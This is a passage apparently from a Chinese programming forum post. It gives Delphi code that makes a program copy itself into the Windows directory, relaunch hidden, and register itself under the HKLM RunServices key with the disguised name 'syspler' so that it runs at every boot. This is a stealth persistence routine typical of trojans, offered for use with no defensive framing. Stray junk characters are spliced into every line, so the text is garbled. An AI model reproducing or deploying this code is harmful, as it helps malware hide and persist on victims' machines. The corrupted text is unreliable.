|
为了程序能在Windows每次启动时自动运行5 ~, v, |: O ?9 b+ x! o
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
7 _6 b: ]4 q. r" H2 h4 oprocedure TForm1.FormCreate(Sender: TObject);9 O4 t. D3 M" b' e8 Y/ m% y; j7 J
const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
1 F/ w/ y L9 e5 ^, zvar myname: string;
) L% y" C. [' P4 I- Obegin9 `' n; C1 V' \( V) i
{Write by Lovejingtao,替换Lovejingtao.126.com,Lovejingtao@21cn.com}& l2 M5 P6 @4 ^8 {/ u4 s4 ^
myname := ExtractFilename(Application.Exename); //获得文件名
- i! O) ^- d" ^; J1 b* O$ Tif application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
' H' L& r. m+ [begin. p$ z# e5 o) @
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下}0 E) e4 A% p5 ]: C/ g2 p
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件. T, q/ J# _) o7 m( ~8 x
application.Terminate;//退出
% X8 s$ d& g& D) m$ M. e3 qend;
* x8 Y1 c: q6 W" Q) I4 Rwith TRegistry.Create do$ [9 n- K2 K1 m- q. A4 O, h: ?
try! `. y0 t8 W* p" r
RootKey := HKEY_LOCAL_MACHINE;
$ k3 Z: k8 u. j7 w$ rOpenKey( K, TRUE );7 D6 R. q: L0 Z# M! h
WriteString( 'syspler', application.ExeName );
# Q3 r0 m9 w ^: gfinally! M% r9 W% |" F
free;
% M8 t/ ^2 L3 V6 [8 send;$ E* d7 c, X$ U# k
end; |
|